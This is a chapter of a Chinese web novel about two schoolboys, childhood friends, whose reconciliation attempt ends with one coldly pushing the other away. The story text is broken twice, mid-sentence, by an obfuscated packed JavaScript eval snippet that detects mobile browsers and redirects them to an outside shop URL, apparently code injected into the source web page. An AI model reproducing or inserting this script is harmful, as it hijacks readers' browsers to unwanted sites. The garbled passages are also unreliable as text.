【封心锁爱,累觉不爱】:哦 萧驰焕脸皮一僵,笑也笑不出来了。 顾檐声居然没有骂回来! 他……他这是怎么了?好可怕! …… 顾檐声一个“哦”字,让萧驰焕心惊胆战一整天。 更可怕的是,接下来整个星期,萧驰焕连顾檐声的面都没有碰上。 不管是食堂吃饭,还是澡堂洗澡,甚至是男厕所,全都一次也遇不上。 为了堵顾檐声一次,萧驰焕周六特意埋伏在男厕所门口。 结果顾檐声只淡淡扫了他一眼,转身就背着书包回宿舍了,第二天周日更是压根没出现在教室。 萧驰焕突然产生了一个恐怖的念头。 顾檐声好像在躲他。 直到这时,萧驰焕才隐约明白,原来前面那四年,顾檐声对他还算是心软的。 当顾檐声真心想跟一个人拉开距离时,他甚至连顾檐声的一根毛都别想碰到! 最可怕的是,萧驰焕根本不知道自己做错了什么,连改都不知道从哪里改起。 不管是以前,还是现在。 就像初中的时候,顾檐声某天突然就不再亲近自己一样,萧驰焕永远搞不懂那人到底在想些什么。 但有一点,萧驰焕可以肯定,他绝对不会这么轻易放弃他们十多年的感情的! 既然顾檐声在生气,那他就道歉好了。 不管是不是他的错,第一步先道歉,肯定准没错! 这还是他从小在他爸身上耳濡目染来的血泪真理! …… 好不容易捱到了周一,萧驰焕正打算去顾檐声的教室堵他,突然接到了一个快递电话,要他去校门口的保安亭签收。 萧驰焕一时间根本没想起来自己买了什么快递。 他迷茫地跑去拿了,拆开一看才恍然,原来是之前有天晚上他脑袋一热找他妈妈买的香水。 萧驰焕的心思一下子活络起来。 正好他要去找顾檐声道歉,是该好好捯饬一下自己。 人对美丽的生物总是更容易心软,萧驰焕对自己的脸还挺有信心的。 希望顾檐声看在他漂亮脸蛋的份上,能快点消气。 于是第二天,萧驰焕一大早就起来了。 他特意刮干净胡子,梳了一个大背头,甚至还抹了一点发胶,最后喷上那款据说十分斩男的香水,把自己打扮成了大人的模样,然后对着镜子臭美了半天。 啧,他怎么就能长得这么好看呢?简直是魅魔级别的!他就不信顾檐声不动心!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775633|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>唯一美中不足的,就是这身破校服了,要不然他的美貌还能再提升一个度。 只能寄希望于这瓶香水能给力一点! 室友们还没起来,萧驰焕悄悄溜出寝室,蹲在了隔壁寝室的门口。 几分钟后,顾檐声一推开寝室大门,就被一只大手拽走了。 他连来人的脸都还没看清,鼻腔里首先钻入一股淡淡的男士香水味。 带着柑橘的清新和龙涎香的迷醉,末了还萦绕着一丝青草木头的涩感,十分吸引人。 顾檐声一个晃神,人就已经被萧驰焕拽到了走廊拐角,抵在了墙上。 “顾檐声,我有很重要的话要跟你说!”萧驰焕急促的嗓音在头顶响起。 顾檐声抬头,看清萧驰焕的模样,眼皮顿时狠狠跳了跳,他呐呐张口,带着复杂的心情试探地问道:“你……这是要去约会?” “什么约会?没有的事儿!就算要约也是跟你约!”萧驰焕没工夫管这些有的没的,直奔主题道,“顾檐声,对不起,我错了,你能不能不要不理我了?你这样搞得我心里不舒服,你这段时间是不是在躲我?不管什么事都是我的错,你别生气了好不好?” 顾檐声鼻腔里满是橙花和琥珀清爽又浓烈的香气,脑袋一时间被熏得有些迷糊:“你为什么跟我道歉?你错哪儿了?” “我……”萧驰焕梗了一下,这个问题他还真没想过。 顿了顿,他绞尽了脑汁,才小心翼翼地憋出一个:“因为我在你的卷子上乱写乱画?” 顾檐声没吱声。 萧驰焕立刻改口:“那就因为我说你是我的小宝贝!” 顾檐声静静地望着他,眼神复杂。 萧驰焕心又慌了起来,不知道为什么,他总有一种如果自己答不对,下一秒顾檐声就要像梦里一样离他而去的恐惧感:“我知道了,肯定是因为我上次强行扒你裤子了,是不是!” 顾檐声微微叹气:“好,我原谅你了。” 这回轮到萧驰焕傻眼了:“就这?” 这么快就原谅了吗?真的是这个原因吗? 怎么感觉是在敷衍他呢…… 顾檐声看着萧驰焕无知又迷茫的脸,心想,你根本就没有错,当然不知道自己哪里错了。 错的是他,是他自己的原因。 顾檐声:“既然我原谅你了,以后就不要再堵门了,被别人看见了不好。” “不好”两个字一下子刺痛了萧驰焕此时极为敏感的内心,他都是像一个被戳破的泡泡一样小发雷霆道:“有什么不好?我们的关系这么见不得人吗?我从好几年前就想说了,让别人知道我是你的竹马,就这么让你没脸吗?我有这么拿不出手吗?” 说完这段,萧驰焕又瞬间后悔了。 他是来道歉的,先把顾檐声哄好才是正事,怎么就没控制住脾气呢? 顾檐声没觉得这算吵架,就没有回答。 默了两秒,顾檐声实在没忍住,说:“我问你一个问题,你老实回答。” 萧驰焕连忙接话:“你说。” 顾檐声舔了一下嘴唇,喉咙一时间竟紧缩得几乎发不出声音,用堪称孤注一掷的心情问出了接下来的问题:“如果你忽然发现,你的室友们其中有人是gay,你会怎么办?” 萧驰焕一愣。 这算什么问题?奇奇怪怪的。 他完全想象不出那三个直得跟电线杆一样的糙汉能是gay! 但既然顾檐声提出了这个假设,萧驰焕还是顺势想象了一下他的室友满脸娇羞地对自己表白的场景。 然后,萧驰焕的脸上就浮现出了极为厌恶的表情,像是被恶心到了极点,拧紧了眉头,五官狰狞地说:“那我应该会直接搬出宿舍吧。” 一瞬间,顾檐声的心像掉进了一池冰水里。 寒意顷刻间从心底蔓延至全身,使他的四肢都变得麻木。 寒凉刺骨。 18. 比格野人vs9501 萧驰焕他们寝室的关系多好,顾檐声都看在眼里。 然而,即使是这么亲近的朋友,萧驰焕也丝毫不留情面。 顾檐声并不认为,自己就能成为萧驰焕的那个独一无二。 他不敢赌。 顾檐声用舌头润了润干涩的嘴唇,勉强找回了声音,他想起萧驰焕今天莫名的打扮,僵硬地问出了最后一个问题:“你喷香水了?” 是……为了她吗? 一个粗糙的直男突然开始注重自己的仪表,除了为了心仪的女生,他想不出别的原因。 萧驰焕甚至把自己的铁刘海都梳上去了! 想到这里,顾檐声的心像是被冰锥刺穿,内心最后一丝仅存的幻想也终于在绝望的事实下破灭了。 一开始还惹人躁动的香水味,此时对顾檐声没了一点吸引力,顾檐声的内心只剩下浓浓的排斥和讽刺。 萧驰焕隐约觉得心脏莫名有些刺痛。 他轻皱了一下眉头,迷茫地揉了一下胸口。 怎么回事?最近身体好像总有点不舒服……是因为没睡好吗? 不过现在哄顾檐声要紧,萧驰焕就没往心里去,他努力勾起一个自认为最迷人的笑容,臭屁地撩了撩发梢:“对啊,你不是嫌我臭吗?现在我喷了香水,总不臭了吧?怎么养,来闻闻?” 说着,萧驰焕举起手臂,十分自然地往顾檐声的脖子搂过去,却在即将触碰到顾檐声发丝的前一刻,眼睁睁看着顾檐声面色惊慌地躲开了。 萧驰焕努力经营的笑脸忍不住缓缓裂开了一个缝。 “别碰我,”顾檐声额发垂落,有几缕挂在眼睑上,看不清神情,嗓子紧得像是吞了冰,又冷又利,嗓音带着哑,“我们还是生疏一点吧。” “生……疏?”萧驰焕僵硬地喃喃,一字字重复,仅一秒,便迅速红了眼眶,“顾檐声,你知道自己在说什么吗?我们认识多少年了,你现在忽然说要跟我生疏?这是人话吗?我请问呢?” 顾檐声低着头不吱声,胃里有极为酸苦的味道在翻涌,一路顺着喉咙泛滥到喉咙,又被他生生咽下去。 他能说什么呢?难道直接说“我喜欢你”吗? 他敢吗? 他宁愿被萧驰焕记恨,也不想被他厌恶! 而此时此刻,萧驰焕最害怕的梦魇终于还是在现实里发生了。 面前顾檐声阴沉的眉眼和沉默的态度都仿佛一场对他噩梦的心惊肉跳的回应,令萧驰焕惊慌恐惧而又无所适从到了极点。 接下来顾檐声要说什么? 是不是就要像梦里一样,要跟他分手了? 从此以后都要装成再也不认识他的样子了? 萧驰焕呼吸粗重起来,眼底一片血一般的猩红,似乎即将陷入一种极其失控的状态里。 但他还是竭尽全力撑起了理智,极为勉强地扯动了一下嘴角,嗓音打着颤,带着一丝微不可查的哭腔,堪称卑微地哀求,可怜得要命:“你不喜欢我什么,我改还不行吗?不用这样吧,顾檐声,你不觉得这对我来说太绝情了吗?你又不是不知道我有多黏你,你这样让我多难受啊,别这样好不好?算我求你了,行不行?” 天知道顾檐声现在要付出多大的意志力,才能勉强自己不用心疼地张开双臂把萧驰焕抱进怀里。 他真的听不得萧驰焕这么卑微的语气。 萧驰焕应该永远都是爽朗灿烂,像太阳一样生机勃勃,热烈燃烧才对。 但他必须狠下心了,这对他俩来说,都是最好的结局。 顾檐声缓缓闭上眼睛,极为不忍心地地吐出了一句顶级渣男语录,保管无论男女,谁听谁爆炸:“你非要这么想,我也没办法。” 果然不出所料,萧驰焕瞬间像个炮仗一样被点燃了! 他的眼珠几乎顷刻染上一片血红,最后一丝岌岌可危的理智神经也彻底崩掉了,气得在原地疯狂跺脚,左右乱蹦,好像是想把地板踩踏,生动形象地展现了什么叫做暴跳如雷! “好,好,生疏是吧?我们现在还不够生疏吗?到底要什么程度才算生疏呢?叫你手机尾号好不好?嗯?9501?喜欢我这么叫你吗?以后我就叫你9501好不好?开心吗?9501?你说话啊!”萧驰焕一整个破大防,从温暖金毛一秒转变成战斗比格,张牙舞爪,汪汪狂吠。 顾檐声不忍睁开眼,揉着眉心道:“……别发癫,你先冷静一下。” 然而“冷静”两个字对此时的萧驰焕来说只能火上浇油。 他此时恶向胆边生,内心滋生无限阴暗,隐隐有黑化的前兆,几乎恶劣地威胁道:“你都用这么恶毒的词语诅咒我们的关系了,还要我冷静,9501,你今天必须把话给我说清楚!不说清楚你就别想走出这栋楼了!我们直接曝光我们的关系,我们一起同归于尽!” “好,如果你非要听我说得这么直白的话,那我告诉你,”顾檐声心痛得快要窒息,面上却古井无波地抬起脸,直视萧驰焕血红的双眼,说出来的话完全就是在用刀子同时割他俩的心头肉,一起流血,一起疼,“萧驰焕,你刚才其实说对了,我确实不想让别人知道我们的关系,别问我为什么,就是单纯不想了,觉得厌了,没意思了,所以,希望以后我们在学校除了同学关系之外,没有其他关系。” 没人知道,顾檐声做了此生多大的努力,才狠心说出了这句近乎堪称诀别的话。 萧驰焕脑子轰隆一声,顷刻一片空白,忽然觉得自己听不懂中国话了。 每个字他都听得懂,组合起来怎么就这么难理解呢? 嗯?9501? 翻译一下,几个意思啊? 这一刻,他最恐惧的噩梦终于还是与现实彻底重叠。 顾檐声……不要他了。 顾檐声根本不敢抬头看萧驰焕的表情,趁人还没回过神,赶紧慌不择路地跑走了。 刚才,他其实想直接问萧驰焕,为什么突然想到要喷香水了。 但他没有勇气直面萧驰焕说出“因为我有喜欢的女生了”这句话。 他只敢在回到教室后,偷偷摸出手机,给杨女士发了一条消息。 【封心锁爱,累觉不爱】:干妈,我闻到萧驰焕今天好像喷了香水,是您给他推荐的吗?还挺好闻的,可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775634|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问问牌子吗? 杨女士那边有时差,现在大概是下午,倒是回得挺快。 【香蕉你个不拿拿】:真的吗?这小子,没想到这么快就用上了!还真是迫不及待啊! 【香蕉你个不拿拿】:[链接] 【香蕉你个不拿拿】:店铺在这里,这家质量确实不错,挺受你们这种年轻小男生欢迎的,特别斩女!保证是追求女神的不二选择!看上哪款跟干妈说,干妈让你干爹给你买![爱心] 不用再细问了,杨女士的意思已经表达得很明显了。 原来……萧驰焕真的是为了追人啊。 顾檐声放下手机,颓然地趴在了课桌上,在无人知晓的角落里悄悄红了眼睛。 …… 另一边,萧驰焕一个人在原地呆站了好久,直到身边渐渐有其他寝室的学生路过,不断发出“卧槽”“好香”“这是个假人模特啊一动不动的”的惊叹,甚至试图上手摸两把,萧驰焕这才缓缓挪动了僵硬的四肢,吓得凑近的男生们尖叫地跑开了。 9501刚刚说什么呢?他语文不好,听不懂。 什么疏远,莫名其妙的。 一定是他耳朵坏了,听错了。 萧驰焕自欺欺人地行走在前往教室的路上。 渐渐的,他拳头捏得越来越紧,眼眶越来越红,眼前的视线也越来越模糊了。 等到他经过三班教室,看见顾檐声居然跟个没事人一样,还在埋头做那个该死的习题,连一个余光都不分给他,萧驰焕终于忍不住在旁人惊恐的目光下呜哇一声冲进厕所,然后用冷水凶猛地洗了一个头。 特意梳上去的大背头滑落了下来,身上的香水味也寥寥无几了,他又变回了愚蠢的孩子模样。 萧驰焕借着水流直掉眼泪。 什么破香水!不是说好了斩男的吗? 这下可好,直接把他的人给斩没了,怎么不算是一种斩男? 呵。 当天晚上,萧驰焕一回去就把那该死的香水扔了,让围观的室友们唏嘘了好一会儿。 胡啸天查了一下价钱,顿时面如菜色:“豪还是你萧总豪,这一扔就是咱一学期的学费!” 勤武焱的恋爱天线一下子亮了:“焕啊,你啥时候买的香水?不对,你啥时候用的?我怎么不知道?咱是住一个寝室没错吧?” 萧驰焕神情空洞而恍惚地盯着头顶的天花板发呆,一副被抽走了灵魂的模样:“排雷这个牌子,谁用谁分手。” 潘铁心:“靠,你敢排,我们也不敢买啊!” “不是,你分手了?你什么时候跟人在一起过啊!”勤武焱像一个吃不到瓜的猹一样急得满地乱爬,“怎么感觉我好像错过了好多章的样子?” “不想说,睡了。”萧驰焕翻了一个身,忍了又忍,忍不住,还是悄悄掉起了小豆豆。 顾檐声,你好狠的心! 现在好了,他变成一个没有竹马要的野人了。 这下你开心了吧?嗯? 你这个冷漠无情的男人,接下来一整个晚上他都不会原谅你的! 呜呜呜呜呜。